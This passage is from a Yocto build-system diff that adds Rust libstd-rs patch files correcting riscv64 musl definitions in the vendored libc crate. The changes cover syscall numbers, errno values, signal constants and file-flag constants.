++pub const SYS_exit_group: ::c_long = 94;
++pub const SYS_epoll_ctl: ::c_long = 21;
++pub const SYS_tgkill: ::c_long = 131;
++pub const SYS_mbind: ::c_long = 235;
++pub const SYS_set_mempolicy: ::c_long = 237;
++pub const SYS_get_mempolicy: ::c_long = 236;
++pub const SYS_mq_open: ::c_long = 180;
++pub const SYS_mq_unlink: ::c_long = 181;
++pub const SYS_mq_timedsend: ::c_long = 182;
++pub const SYS_mq_timedreceive: ::c_long = 183;
++pub const SYS_mq_notify: ::c_long = 184;
++pub const SYS_mq_getsetattr: ::c_long = 185;
++pub const SYS_kexec_load: ::c_long = 104;
++pub const SYS_waitid: ::c_long = 95;
++pub const SYS_add_key: ::c_long = 217;
++pub const SYS_request_key: ::c_long = 218;
++pub const SYS_keyctl: ::c_long = 219;
++pub const SYS_ioprio_set: ::c_long = 30;
++pub const SYS_ioprio_get: ::c_long = 31;
++pub const SYS_inotify_add_watch: ::c_long = 27;
++pub const SYS_inotify_rm_watch: ::c_long = 28;
++pub const SYS_migrate_pages: ::c_long = 238;
++pub const SYS_openat: ::c_long = 56;
++pub const SYS_mkdirat: ::c_long = 34;
++pub const SYS_mknodat: ::c_long = 33;
++pub const SYS_fchownat: ::c_long = 54;
++pub const SYS_newfstatat: ::c_long = 79;
++pub const SYS_unlinkat: ::c_long = 35;
++pub const SYS_linkat: ::c_long = 37;
++pub const SYS_symlinkat: ::c_long = 36;
++pub const SYS_readlinkat: ::c_long = 78;
++pub const SYS_fchmodat: ::c_long = 53;
++pub const SYS_faccessat: ::c_long = 48;
++pub const SYS_pselect6: ::c_long = 72;
++pub const SYS_ppoll: ::c_long = 73;
++pub const SYS_unshare: ::c_long = 97;
++pub const SYS_set_robust_list: ::c_long = 99;
++pub const SYS_get_robust_list: ::c_long = 100;
++pub const SYS_splice: ::c_long = 76;
++pub const SYS_tee: ::c_long = 77;
++pub const SYS_sync_file_range: ::c_long = 84;
++pub const SYS_vmsplice: ::c_long = 75;
++pub const SYS_move_pages: ::c_long = 239;
++pub const SYS_utimensat: ::c_long = 88;
++pub const SYS_epoll_pwait: ::c_long = 22;
++pub const SYS_timerfd_create: ::c_long = 85;
++pub const SYS_fallocate: ::c_long = 47;
++pub const SYS_timerfd_settime: ::c_long = 86;
++pub const SYS_timerfd_gettime: ::c_long = 87;
++pub const SYS_accept4: ::c_long = 242;
++pub const SYS_signalfd4: ::c_long = 74;
++pub const SYS_eventfd2: ::c_long = 19;
++pub const SYS_epoll_create1: ::c_long = 20;
++pub const SYS_dup3: ::c_long = 24;
++pub const SYS_pipe2: ::c_long = 59;
++pub const SYS_inotify_init1: ::c_long = 26;
++pub const SYS_preadv: ::c_long = 69;
++pub const SYS_pwritev: ::c_long = 70;
++pub const SYS_rt_tgsigqueueinfo: ::c_long = 240;
++pub const SYS_perf_event_open: ::c_long = 241;
++pub const SYS_recvmmsg: ::c_long = 243;
++pub const SYS_fanotify_init: ::c_long = 262;
++pub const SYS_fanotify_mark: ::c_long = 263;
++pub const SYS_prlimit64: ::c_long = 261;
++pub const SYS_name_to_handle_at: ::c_long = 264;
++pub const SYS_open_by_handle_at: ::c_long = 265;
++pub const SYS_clock_adjtime: ::c_long = 266;
++pub const SYS_syncfs: ::c_long = 267;
++pub const SYS_sendmmsg: ::c_long = 269;
++pub const SYS_setns: ::c_long = 268;
++pub const SYS_getcpu: ::c_long = 168;
++pub const SYS_process_vm_readv: ::c_long = 270;
++pub const SYS_process_vm_writev: ::c_long = 271;
++pub const SYS_kcmp: ::c_long = 272;
++pub const SYS_finit_module: ::c_long = 273;
++pub const SYS_sched_setattr: ::c_long = 274;
++pub const SYS_sched_getattr: ::c_long = 275;
++pub const SYS_renameat2: ::c_long = 276;
++pub const SYS_seccomp: ::c_long = 277;
++pub const SYS_getrandom: ::c_long = 278;
++pub const SYS_memfd_create: ::c_long = 279;
++pub const SYS_bpf: ::c_long = 280;
++pub const SYS_execveat: ::c_long = 281;
++pub const SYS_userfaultfd: ::c_long = 282;
++pub const SYS_membarrier: ::c_long = 283;
++pub const SYS_mlock2: ::c_long = 284;
++pub const SYS_copy_file_range: ::c_long = 285;
++pub const SYS_preadv2: ::c_long = 286;
++pub const SYS_pwritev2: ::c_long = 287;
++pub const SYS_pkey_mprotect: ::c_long = 288;
++pub const SYS_pkey_alloc: ::c_long = 289;
++pub const SYS_pkey_free: ::c_long = 290;
++pub const SYS_statx: ::c_long = 291;
++pub const SYS_pidfd_send_signal: ::c_long = 424;
++pub const SYS_io_uring_setup: ::c_long = 425;
++pub const SYS_io_uring_enter: ::c_long = 426;
++pub const SYS_io_uring_register: ::c_long = 427;
++pub const SYS_open_tree: ::c_long = 428;
++pub const SYS_move_mount: ::c_long = 429;
++pub const SYS_fsopen: ::c_long = 430;
++pub const SYS_fsconfig: ::c_long = 431;
++pub const SYS_fsmount: ::c_long = 432;
++pub const SYS_fspick: ::c_long = 433;
++pub const SYS_pidfd_open: ::c_long = 434;
++pub const SYS_clone3: ::c_long = 435;
++pub const SYS_close_range: ::c_long = 436;
++pub const SYS_openat2: ::c_long = 437;
++pub const SYS_pidfd_getfd: ::c_long = 438;
++pub const SYS_faccessat2: ::c_long = 439;
++pub const SYS_process_madvise: ::c_long = 440;
++pub const SYS_epoll_pwait2: ::c_long = 441;
++pub const SYS_mount_setattr: ::c_long = 442;
diff --git a/meta/recipes-devtools/rust/libstd-rs/0006-FIXUP-linux-musl-mod.rs-add-riscv64-to-b64-set.patch b/meta/recipes-devtools/rust/libstd-rs/0006-FIXUP-linux-musl-mod.rs-add-riscv64-to-b64-set.patch
new file mode 100644
index 0000000000..a037d407e6
--- /dev/null
+++ b/meta/recipes-devtools/rust/libstd-rs/0006-FIXUP-linux-musl-mod.rs-add-riscv64-to-b64-set.patch
@@ -0,0 +1,26 @@
+From 4319893ebb7fca8bbd2bffc4bddb8d3ecdc08cc2 Mon Sep 17 00:00:00 2001
+From: Ralf Anton Beier <ralf_beier@me.com>
+Date: Sun, 8 Aug 2021 11:07:21 +0200
+Subject: [PATCH 6/8] FIXUP: linux/musl/mod.rs: add riscv64 to b64 set
+
+https://github.com/rust-lang/libc/pull/1994/commits/30070c822be2ef399b2ba38cdc1d72ac694d65a3
+
+Upstream-Status: Submitted [https://github.com/rust-lang/libc/pull/2537]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Ralf Anton Beier <ralf_beier@me.com>
+---
+ vendor/libc-0.2.98/src/unix/linux_like/linux/musl/mod.rs | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+--- a/vendor/libc/src/unix/linux_like/linux/musl/mod.rs
++++ b/vendor/libc/src/unix/linux_like/linux/musl/mod.rs
+@@ -709,7 +709,8 @@ cfg_if! {
+ target_arch = "aarch64",
+ target_arch = "mips64",
+ target_arch = "powerpc64",
+- target_arch = "s390x"))] {
++ target_arch = "s390x",
++ target_arch = "riscv64"))] {
+ mod b64;
+ pub use self::b64::*;
+ } else if #[cfg(any(target_arch = "x86",
diff --git a/meta/recipes-devtools/rust/libstd-rs/0007-FIXUP-Correct-definitions-to-match-musl.patch b/meta/recipes-devtools/rust/libstd-rs/0007-FIXUP-Correct-definitions-to-match-musl.patch
new file mode 100644
index 0000000000..aca6290fe7
--- /dev/null
+++ b/meta/recipes-devtools/rust/libstd-rs/0007-FIXUP-Correct-definitions-to-match-musl.patch
@@ -0,0 +1,684 @@
+From 9d240d05c6e6620f36e4ddbcbcb5862fb3269d9f Mon Sep 17 00:00:00 2001
+From: Ralf Anton Beier <ralf_beier@me.com>
+Date: Sun, 8 Aug 2021 11:09:17 +0200
+Subject: [PATCH 7/8] FIXUP Correct definitions to match musl
+
+https://github.com/rust-lang/libc/pull/1994/commits/5f6a4d9745c79c81be63c708515ab116786554a3
+
+Upstream-Status: Submitted [https://github.com/rust-lang/libc/pull/2537]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Ralf Anton Beier <ralf_beier@me.com>
+---
+ .../linux_like/linux/musl/b64/riscv64/mod.rs | 708 ++++++++----------
+ 1 file changed, 311 insertions(+), 397 deletions(-)
+
+--- a/vendor/libc/src/unix/linux_like/linux/musl/b64/riscv64/mod.rs
++++ b/vendor/libc/src/unix/linux_like/linux/musl/b64/riscv64/mod.rs
+@@ -191,351 +191,8 @@ s! {
+ pub l_len: ::off64_t,
+ pub l_pid: ::pid_t,
+ }
+-
+- pub struct ip_mreqn {
+- pub imr_multiaddr: ::in_addr,
+- pub imr_address: ::in_addr,
+- pub imr_ifindex: ::c_int,
+- }
+ }
+
+-pub const POSIX_FADV_DONTNEED: ::c_int = 4;
+-pub const POSIX_FADV_NOREUSE: ::c_int = 5;
+-pub const VEOF: usize = 4;
+-pub const RTLD_DEEPBIND: ::c_int = 0x8;
+-pub const RTLD_GLOBAL: ::c_int = 0x100;
+-pub const RTLD_NOLOAD: ::c_int = 0x4;
+-pub const TIOCGSOFTCAR: ::c_ulong = 21529;
+-pub const TIOCSSOFTCAR: ::c_ulong = 21530;
+-pub const TIOCGRS485: ::c_int = 21550;
+-pub const TIOCSRS485: ::c_int = 21551;
+-pub const RLIMIT_RSS: ::__rlimit_resource_t = 5;
+-pub const RLIMIT_AS: ::__rlimit_resource_t = 9;
+-pub const RLIMIT_MEMLOCK: ::__rlimit_resource_t = 8;
+-pub const RLIMIT_NOFILE: ::__rlimit_resource_t = 7;
+-pub const RLIMIT_NPROC: ::__rlimit_resource_t = 6;
+-pub const O_APPEND: ::c_int = 1024;
+-pub const O_CREAT: ::c_int = 64;
+-pub const O_EXCL: ::c_int = 128;
+-pub const O_NOCTTY: ::c_int = 256;
+-pub const O_NONBLOCK: ::c_int = 2048;
+-pub const O_SYNC: ::c_int = 1052672;
+-pub const O_RSYNC: ::c_int = 1052672;
+-pub const O_DSYNC: ::c_int = 4096;
+-pub const O_FSYNC: ::c_int = 1052672;
+-pub const O_NOATIME: ::c_int = 262144;
+-pub const O_PATH: ::c_int = 2097152;
+-pub const O_TMPFILE: ::c_int = 4259840;
+-pub const MAP_GROWSDOWN: ::c_int = 256;
+-pub const EDEADLK: ::c_int = 35;
+-pub const ENAMETOOLONG: ::c_int = 36;
+-pub const ENOLCK: ::c_int = 37;
+-pub const ENOSYS: ::c_int = 38;
+-pub const ENOTEMPTY: ::c_int = 39;
+-pub const ELOOP: ::c_int = 40;
+-pub const ENOMSG: ::c_int = 42;
+-pub const EIDRM: ::c_int = 43;
+-pub const ECHRNG: ::c_int = 44;
+-pub const EL2NSYNC: ::c_int = 45;
+-pub const EL3HLT: ::c_int = 46;
+-pub const EL3RST: ::c_int = 47;
+-pub const ELNRNG: ::c_int = 48;
+-pub const EUNATCH: ::c_int = 49;
+-pub const ENOCSI: ::c_int = 50;
+-pub const EL2HLT: ::c_int = 51;
+-pub const EBADE: ::c_int = 52;
+-pub const EBADR: ::c_int = 53;
+-pub const EXFULL: ::c_int = 54;
+-pub const ENOANO: ::c_int = 55;
+-pub const EBADRQC: ::c_int = 56;
+-pub const EBADSLT: ::c_int = 57;
+-pub const EMULTIHOP: ::c_int = 72;
+-pub const EOVERFLOW: ::c_int = 75;
+-pub const ENOTUNIQ: ::c_int = 76;
+-pub const EBADFD: ::c_int = 77;
+-pub const EBADMSG: ::c_int = 74;
+-pub const EREMCHG: ::c_int = 78;
+-pub const ELIBACC: ::c_int = 79;
+-pub const ELIBBAD: ::c_int = 80;
+-pub const ELIBSCN: ::c_int = 81;
+-pub const ELIBMAX: ::c_int = 82;
+-pub const ELIBEXEC: ::c_int = 83;
+-pub const EILSEQ: ::c_int = 84;
+-pub const ERESTART: ::c_int = 85;
+-pub const ESTRPIPE: ::c_int = 86;
+-pub const EUSERS: ::c_int = 87;
+-pub const ENOTSOCK: ::c_int = 88;
+-pub const EDESTADDRREQ: ::c_int = 89;
+-pub const EMSGSIZE: ::c_int = 90;
+-pub const EPROTOTYPE: ::c_int = 91;
+-pub const ENOPROTOOPT: ::c_int = 92;
+-pub const EPROTONOSUPPORT: ::c_int = 93;
+-pub const ESOCKTNOSUPPORT: ::c_int = 94;
+-pub const EOPNOTSUPP: ::c_int = 95;
+-pub const EPFNOSUPPORT: ::c_int = 96;
+-pub const EAFNOSUPPORT: ::c_int = 97;
+-pub const EADDRINUSE: ::c_int = 98;
+-pub const EADDRNOTAVAIL: ::c_int = 99;
+-pub const ENETDOWN: ::c_int = 100;
+-pub const ENETUNREACH: ::c_int = 101;
+-pub const ENETRESET: ::c_int = 102;
+-pub const ECONNABORTED: ::c_int = 103;
+-pub const ECONNRESET: ::c_int = 104;
+-pub const ENOBUFS: ::c_int = 105;
+-pub const EISCONN: ::c_int = 106;
+-pub const ENOTCONN: ::c_int = 107;
+-pub const ESHUTDOWN: ::c_int = 108;
+-pub const ETOOMANYREFS: ::c_int = 109;
+-pub const ETIMEDOUT: ::c_int = 110;
+-pub const ECONNREFUSED: ::c_int = 111;
+-pub const EHOSTDOWN: ::c_int = 112;
+-pub const EHOSTUNREACH: ::c_int = 113;
+-pub const EALREADY: ::c_int = 114;
+-pub const EINPROGRESS: ::c_int = 115;
+-pub const ESTALE: ::c_int = 116;
+-pub const EDQUOT: ::c_int = 122;
+-pub const ENOMEDIUM: ::c_int = 123;
+-pub const EMEDIUMTYPE: ::c_int = 124;
+-pub const ECANCELED: ::c_int = 125;
+-pub const ENOKEY: ::c_int = 126;
+-pub const EKEYEXPIRED: ::c_int = 127;
+-pub const EKEYREVOKED: ::c_int = 128;
+-pub const EKEYREJECTED: ::c_int = 129;
+-pub const EOWNERDEAD: ::c_int = 130;
+-pub const ENOTRECOVERABLE: ::c_int = 131;
+-pub const EHWPOISON: ::c_int = 133;
+-pub const ERFKILL: ::c_int = 132;
+-
+-pub const SOCK_STREAM: ::c_int = 1;
+-pub const SOCK_DGRAM: ::c_int = 2;
+-pub const SA_ONSTACK: ::c_int = 134217728;
+-pub const SA_SIGINFO: ::c_int = 4;
+-pub const SA_NOCLDWAIT: ::c_int = 2;
+-pub const SIGTTIN: ::c_int = 21;
+-pub const SIGTTOU: ::c_int = 22;
+-pub const SIGXCPU: ::c_int = 24;
+-pub const SIGXFSZ: ::c_int = 25;
+-pub const SIGVTALRM: ::c_int = 26;
+-pub const SIGPROF: ::c_int = 27;
+-pub const SIGWINCH: ::c_int = 28;
+-pub const SIGCHLD: ::c_int = 17;
+-pub const SIGBUS: ::c_int = 7;
+-pub const SIGUSR1: ::c_int = 10;
+-pub const SIGUSR2: ::c_int = 12;
+-pub const SIGCONT: ::c_int = 18;
+-pub const SIGSTOP: ::c_int = 19;
+-pub const SIGTSTP: ::c_int = 20;
+-pub const SIGURG: ::c_int = 23;
+-pub const SIGIO: ::c_int = 29;
+-pub const SIGSYS: ::c_int = 31;
+-pub const SIGSTKFLT: ::c_int = 16;
+-pub const SIGPOLL: ::c_int = 29;
+-pub const SIGPWR: ::c_int = 30;
+-pub const SIG_SETMASK: ::c_int = 2;
+-pub const SIG_BLOCK: ::c_int = 0;
+-pub const SIG_UNBLOCK: ::c_int = 1;
+-pub const POLLWRNORM: ::c_short = 256;
+-pub const POLLWRBAND: ::c_short = 512;
+-pub const O_ASYNC: ::c_int = 8192;
+-pub const O_NDELAY: ::c_int = 2048;
+-pub const PTRACE_DETACH: ::c_uint = 17;
+-pub const EFD_NONBLOCK: ::c_int = 2048;
+-pub const F_GETLK: ::c_int = 5;
+-pub const F_GETOWN: ::c_int = 9;
+-pub const F_SETOWN: ::c_int = 8;
+-pub const F_SETLK: ::c_int = 6;
+-pub const F_SETLKW: ::c_int = 7;
+-pub const F_RDLCK: ::c_int = 0;
+-pub const F_WRLCK: ::c_int = 1;
+-pub const F_UNLCK: ::c_int = 2;
+-pub const F_OFD_GETLK: ::c_int = 36;
+-pub const F_OFD_SETLK: ::c_int = 37;
+-pub const F_OFD_SETLKW: ::c_int = 38;
+-pub const SFD_NONBLOCK: ::c_int = 2048;
+-pub const TCSANOW: ::c_int = 0;
+-pub const TCSADRAIN: ::c_int = 1;
+-pub const TCSAFLUSH: ::c_int = 2;
+-pub const TIOCLINUX: ::c_ulong = 21532;
+-pub const TIOCGSERIAL: ::c_ulong = 21534;
+-pub const TIOCEXCL: ::c_ulong = 21516;
+-pub const TIOCNXCL: ::c_ulong = 21517;
+-pub const TIOCSCTTY: ::c_ulong = 21518;
+-pub const TIOCSTI: ::c_ulong = 21522;
+-pub const TIOCMGET: ::c_ulong = 21525;
+-pub const TIOCMBIS: ::c_ulong = 21526;
+-pub const TIOCMBIC: ::c_ulong = 21527;
+-pub const TIOCMSET: ::c_ulong = 21528;
+-pub const TIOCCONS: ::c_ulong = 21533;
+-pub const TIOCM_ST: ::c_int = 8;
+-pub const TIOCM_SR: ::c_int = 16;
+-pub const TIOCM_CTS: ::c_int = 32;
+-pub const TIOCM_CAR: ::c_int = 64;
+-pub const TIOCM_RNG: ::c_int = 128;
+-pub const TIOCM_DSR: ::c_int = 256;
+-pub const SFD_CLOEXEC: ::c_int = 524288;
+-pub const NCCS: usize = 32;
+-pub const O_TRUNC: ::c_int = 512;
+-pub const O_CLOEXEC: ::c_int = 524288;
+-pub const EBFONT: ::c_int = 59;
+-pub const ENOSTR: ::c_int = 60;
+-pub const ENODATA: ::c_int = 61;
+-pub const ETIME: ::c_int = 62;
+-pub const ENOSR: ::c_int = 63;
+-pub const ENONET: ::c_int = 64;
+-pub const ENOPKG: ::c_int = 65;
+-pub const EREMOTE: ::c_int = 66;
+-pub const ENOLINK: ::c_int = 67;
+-pub const EADV: ::c_int = 68;
+-pub const ESRMNT: ::c_int = 69;
+-pub const ECOMM: ::c_int = 70;
+-pub const EPROTO: ::c_int = 71;
+-pub const EDOTDOT: ::c_int = 73;
+-pub const SA_NODEFER: ::c_int = 1073741824;
+-pub const SA_RESETHAND: ::c_int = -2147483648;
+-pub const SA_RESTART: ::c_int = 268435456;
+-pub const SA_NOCLDSTOP: ::c_int = 1;
+-pub const EPOLL_CLOEXEC: ::c_int = 524288;
+-pub const EFD_CLOEXEC: ::c_int = 524288;
+-pub const __SIZEOF_PTHREAD_CONDATTR_T: usize = 4;
+-pub const __SIZEOF_PTHREAD_MUTEXATTR_T: usize = 4;
+-pub const O_DIRECT: ::c_int = 16384;
+-pub const O_DIRECTORY: ::c_int = 65536;
+-pub const O_NOFOLLOW: ::c_int = 131072;
+-pub const MAP_HUGETLB: ::c_int = 262144;
+-pub const MAP_LOCKED: ::c_int = 8192;
+-pub const MAP_NORESERVE: ::c_int = 16384;
+-pub const MAP_ANON: ::c_int = 32;
+-pub const MAP_ANONYMOUS: ::c_int = 32;
+-pub const MAP_DENYWRITE: ::c_int = 2048;
+-pub const MAP_EXECUTABLE: ::c_int = 4096;
+-pub const MAP_POPULATE: ::c_int = 32768;
+-pub const MAP_NONBLOCK: ::c_int = 65536;
+-pub const MAP_STACK: ::c_int = 131072;
+-pub const MAP_SYNC: ::c_int = 0x080000;
+-pub const EDEADLOCK: ::c_int = 35;
+-pub const EUCLEAN: ::c_int = 117;
+-pub const ENOTNAM: ::c_int = 118;
+-pub const ENAVAIL: ::c_int = 119;
+-pub const EISNAM: ::c_int = 120;
+-pub const EREMOTEIO: ::c_int = 121;
+-pub const FIOCLEX: ::c_ulong = 21585;
+-pub const FIONCLEX: ::c_ulong = 21584;
+-pub const FIONBIO: ::c_ulong = 21537;
+-pub const MCL_CURRENT: ::c_int = 1;
+-pub const MCL_FUTURE: ::c_int = 2;
+-pub const SIGSTKSZ: ::size_t = 8192;
+-pub const MINSIGSTKSZ: ::size_t = 2048;
+-pub const CBAUD: ::tcflag_t = 4111;
+-pub const TAB1: ::tcflag_t = 2048;
+-pub const TAB2: ::tcflag_t = 4096;
+-pub const TAB3: ::tcflag_t = 6144;
+-pub const CR1: ::tcflag_t = 512;
+-pub const CR2: ::tcflag_t = 1024;
+-pub const CR3: ::tcflag_t = 1536;
+-pub const FF1: ::tcflag_t = 32768;
+-pub const BS1: ::tcflag_t = 8192;
+-pub const VT1: ::tcflag_t = 16384;
+-pub const VWERASE: usize = 14;
+-pub const VREPRINT: usize = 12;
+-pub const VSUSP: usize = 10;
+-pub const VSTART: usize = 8;
+-pub const VSTOP: usize = 9;
+-pub const VDISCARD: usize = 13;
+-pub const VTIME: usize = 5;
+-pub const IXON: ::tcflag_t = 1024;
+-pub const IXOFF: ::tcflag_t = 4096;
+-pub const ONLCR: ::tcflag_t = 4;
+-pub const CSIZE: ::tcflag_t = 48;
+-pub const CS6: ::tcflag_t = 16;
+-pub const CS7: ::tcflag_t = 32;
+-pub const CS8: ::tcflag_t = 48;
+-pub const CSTOPB: ::tcflag_t = 64;
+-pub const CREAD: ::tcflag_t = 128;
+-pub const PARENB: ::tcflag_t = 256;
+-pub const PARODD: ::tcflag_t = 512;
+-pub const HUPCL: ::tcflag_t = 1024;
+-pub const CLOCAL: ::tcflag_t = 2048;
+-pub const ECHOKE: ::tcflag_t = 2048;
+-pub const ECHOE: ::tcflag_t = 16;
+-pub const ECHOK: ::tcflag_t = 32;
+-pub const ECHONL: ::tcflag_t = 64;
+-pub const ECHOPRT: ::tcflag_t = 1024;
+-pub const ECHOCTL: ::tcflag_t = 512;
+-pub const ISIG: ::tcflag_t = 1;
+-pub const ICANON: ::tcflag_t = 2;
+-pub const PENDIN: ::tcflag_t = 16384;
+-pub const NOFLSH: ::tcflag_t = 128;
+-pub const CIBAUD: ::tcflag_t = 269418496;
+-pub const CBAUDEX: ::tcflag_t = 4096;
+-pub const VSWTC: usize = 7;
+-pub const OLCUC: ::tcflag_t = 2;
+-pub const NLDLY: ::tcflag_t = 256;
+-pub const CRDLY: ::tcflag_t = 1536;
+-pub const TABDLY: ::tcflag_t = 6144;
+-pub const BSDLY: ::tcflag_t = 8192;
+-pub const FFDLY: ::tcflag_t = 32768;
+-pub const VTDLY: ::tcflag_t = 16384;
+-pub const XTABS: ::tcflag_t = 6144;
+-pub const B0: ::speed_t = 0;
+-pub const B50: ::speed_t = 1;
+-pub const B75: ::speed_t = 2;
+-pub const B110: ::speed_t = 3;
+-pub const B134: ::speed_t = 4;
+-pub const B150: ::speed_t = 5;
+-pub const B200: ::speed_t = 6;
+-pub const B300: ::speed_t = 7;
+-pub const B600: ::speed_t = 8;
+-pub const B1200: ::speed_t = 9;
+-pub const B1800: ::speed_t = 10;
+-pub const B2400: ::speed_t = 11;
+-pub const B4800: ::speed_t = 12;
+-pub const B9600: ::speed_t = 13;
+-pub const B19200: ::speed_t = 14;
+-pub const B38400: ::speed_t = 15;
+-pub const EXTA: ::speed_t = 14;
+-pub const EXTB: ::speed_t = 15;
+-pub const B57600: ::speed_t = 4097;
+-pub const B115200: ::speed_t = 4098;
+-pub const B230400: ::speed_t = 4099;
+-pub const B460800: ::speed_t = 4100;
+-pub const B500000: ::speed_t = 4101;
+-pub const B576000: ::speed_t = 4102;
+-pub const B921600: ::speed_t = 4103;
+-pub const B1000000: ::speed_t = 4104;
+-pub const B1152000: ::speed_t = 4105;
+-pub const B1500000: ::speed_t = 4106;
+-pub const B2000000: ::speed_t = 4107;
+-pub const B2500000: ::speed_t = 4108;
+-pub const B3000000: ::speed_t = 4109;
+-pub const B3500000: ::speed_t = 4110;
+-pub const B4000000: ::speed_t = 4111;
+-pub const VEOL: usize = 11;
+-pub const VEOL2: usize = 16;
+-pub const VMIN: usize = 6;
+-pub const IEXTEN: ::tcflag_t = 32768;
+-pub const TOSTOP: ::tcflag_t = 256;
+-pub const FLUSHO: ::tcflag_t = 4096;
+-pub const EXTPROC: ::tcflag_t = 65536;
+-pub const TCGETS: ::c_ulong = 21505;
+-pub const TCSETS: ::c_ulong = 21506;
+-pub const TCSETSW: ::c_ulong = 21507;
+-pub const TCSETSF: ::c_ulong = 21508;
+-pub const TCGETA: ::c_ulong = 21509;
+-pub const TCSETA: ::c_ulong = 21510;
+-pub const TCSETAW: ::c_ulong = 21511;
+-pub const TCSETAF: ::c_ulong = 21512;
+-pub const TCSBRK: ::c_ulong = 21513;
+-pub const TCXONC: ::c_ulong = 21514;
+-pub const TCFLSH: ::c_ulong = 21515;
+-pub const TIOCINQ: ::c_ulong = 21531;
+-pub const TIOCGPGRP: ::c_ulong = 21519;
+-pub const TIOCSPGRP: ::c_ulong = 21520;
+-pub const TIOCOUTQ: ::c_ulong = 21521;
+-pub const TIOCGWINSZ: ::c_ulong = 21523;
+-pub const TIOCSWINSZ: ::c_ulong = 21524;
+-pub const FIONREAD: ::c_ulong = 21531;
+-pub const __SIZEOF_PTHREAD_MUTEX_T: usize = 40;
+-pub const __SIZEOF_PTHREAD_RWLOCK_T: usize = 56;
+ pub const SYS_read: ::c_long = 63;
+ pub const SYS_write: ::c_long = 64;
+ pub const SYS_close: ::c_long = 57;
+@@ -830,3 +487,315 @@ pub const SYS_faccessat2: ::c_long = 439
+ pub const SYS_process_madvise: ::c_long = 440;
+ pub const SYS_epoll_pwait2: ::c_long = 441;
+ pub const SYS_mount_setattr: ::c_long = 442;
++
++
++pub const O_APPEND: ::c_int = 1024;
++pub const O_DIRECT: ::c_int = 0x4000;
++pub const O_DIRECTORY: ::c_int = 0x10000;
++pub const O_LARGEFILE: ::c_int = 0;
++pub const O_NOFOLLOW: ::c_int = 0x20000;
++pub const O_CREAT: ::c_int = 64;
++pub const O_EXCL: ::c_int = 128;
++pub const O_NOCTTY: ::c_int = 256;
++pub const O_NONBLOCK: ::c_int = 2048;
++pub const O_SYNC: ::c_int = 1052672;
++pub const O_RSYNC: ::c_int = 1052672;
++pub const O_DSYNC: ::c_int = 4096;
++pub const O_ASYNC: ::c_int = 0x2000;
++
++pub const TIOCGRS485: ::c_int = 0x542E;
++pub const TIOCSRS485: ::c_int = 0x542F;
++
++pub const SIGSTKSZ: ::size_t = 8192;
++pub const MINSIGSTKSZ: ::size_t = 2048;
++
++pub const ENAMETOOLONG: ::c_int = 36;
++pub const ENOLCK: ::c_int = 37;
++pub const ENOSYS: ::c_int = 38;
++pub const ENOTEMPTY: ::c_int = 39;
++pub const ELOOP: ::c_int = 40;
++pub const ENOMSG: ::c_int = 42;
++pub const EIDRM: ::c_int = 43;
++pub const ECHRNG: ::c_int = 44;
++pub const EL2NSYNC: ::c_int = 45;
++pub const EL3HLT: ::c_int = 46;
++pub const EL3RST: ::c_int = 47;
++pub const ELNRNG: ::c_int = 48;
++pub const EUNATCH: ::c_int = 49;
++pub const ENOCSI: ::c_int = 50;
++pub const EL2HLT: ::c_int = 51;
++pub const EBADE: ::c_int = 52;
++pub const EBADR: ::c_int = 53;
++pub const EXFULL: ::c_int = 54;
++pub const ENOANO: ::c_int = 55;
++pub const EBADRQC: ::c_int = 56;
++pub const EBADSLT: ::c_int = 57;
++pub const EMULTIHOP: ::c_int = 72;
++pub const EOVERFLOW: ::c_int = 75;
++pub const ENOTUNIQ: ::c_int = 76;
++pub const EBADFD: ::c_int = 77;
++pub const EBADMSG: ::c_int = 74;
++pub const EREMCHG: ::c_int = 78;
++pub const ELIBACC: ::c_int = 79;
++pub const ELIBBAD: ::c_int = 80;
++pub const ELIBSCN: ::c_int = 81;
++pub const ELIBMAX: ::c_int = 82;
++pub const ELIBEXEC: ::c_int = 83;
++pub const EILSEQ: ::c_int = 84;
++pub const ERESTART: ::c_int = 85;
++pub const ESTRPIPE: ::c_int = 86;
++pub const EUSERS: ::c_int = 87;
++pub const ENOTSOCK: ::c_int = 88;
++pub const EDESTADDRREQ: ::c_int = 89;
++pub const EMSGSIZE: ::c_int = 90;
++pub const EPROTOTYPE: ::c_int = 91;
++pub const ENOPROTOOPT: ::c_int = 92;
++pub const EPROTONOSUPPORT: ::c_int = 93;
++pub const ESOCKTNOSUPPORT: ::c_int = 94;
++pub const EOPNOTSUPP: ::c_int = 95;
++pub const EPFNOSUPPORT: ::c_int = 96;
++pub const EAFNOSUPPORT: ::c_int = 97;
++pub const EADDRINUSE: ::c_int = 98;
++pub const EADDRNOTAVAIL: ::c_int = 99;
++pub const ENETDOWN: ::c_int = 100;
++pub const ENETUNREACH: ::c_int = 101;
++pub const ENETRESET: ::c_int = 102;
++pub const ECONNABORTED: ::c_int = 103;
++pub const ECONNRESET: ::c_int = 104;
++pub const ENOBUFS: ::c_int = 105;
++pub const EISCONN: ::c_int = 106;
++pub const ENOTCONN: ::c_int = 107;
++pub const ESHUTDOWN: ::c_int = 108;
++pub const ETOOMANYREFS: ::c_int = 109;
++pub const ETIMEDOUT: ::c_int = 110;
++pub const ECONNREFUSED: ::c_int = 111;
++pub const EHOSTDOWN: ::c_int = 112;
++pub const EHOSTUNREACH: ::c_int = 113;
++pub const EALREADY: ::c_int = 114;
++pub const EINPROGRESS: ::c_int = 115;
++pub const ESTALE: ::c_int = 116;
++pub const EDQUOT: ::c_int = 122;
++pub const ENOMEDIUM: ::c_int = 123;
++pub const EMEDIUMTYPE: ::c_int = 124;
++pub const ECANCELED: ::c_int = 125;
++pub const ENOKEY: ::c_int = 126;
++pub const EKEYEXPIRED: ::c_int = 127;
++pub const EKEYREVOKED: ::c_int = 128;
++pub const EKEYREJECTED: ::c_int = 129;
++pub const EOWNERDEAD: ::c_int = 130;
++pub const ENOTRECOVERABLE: ::c_int = 131;
++pub const EHWPOISON: ::c_int = 133;
++pub const ERFKILL: ::c_int = 132;
++
++pub const SA_ONSTACK: ::c_int = 0x08000000;
++pub const SA_SIGINFO: ::c_int = 0x00000004;
++pub const SA_NOCLDWAIT: ::c_int = 0x00000002;
++
++pub const SIGCHLD: ::c_int = 17;
++pub const SIGBUS: ::c_int = 7;
++pub const SIGTTIN: ::c_int = 21;
++pub const SIGTTOU: ::c_int = 22;
++pub const SIGXCPU: ::c_int = 24;
++pub const SIGXFSZ: ::c_int = 25;
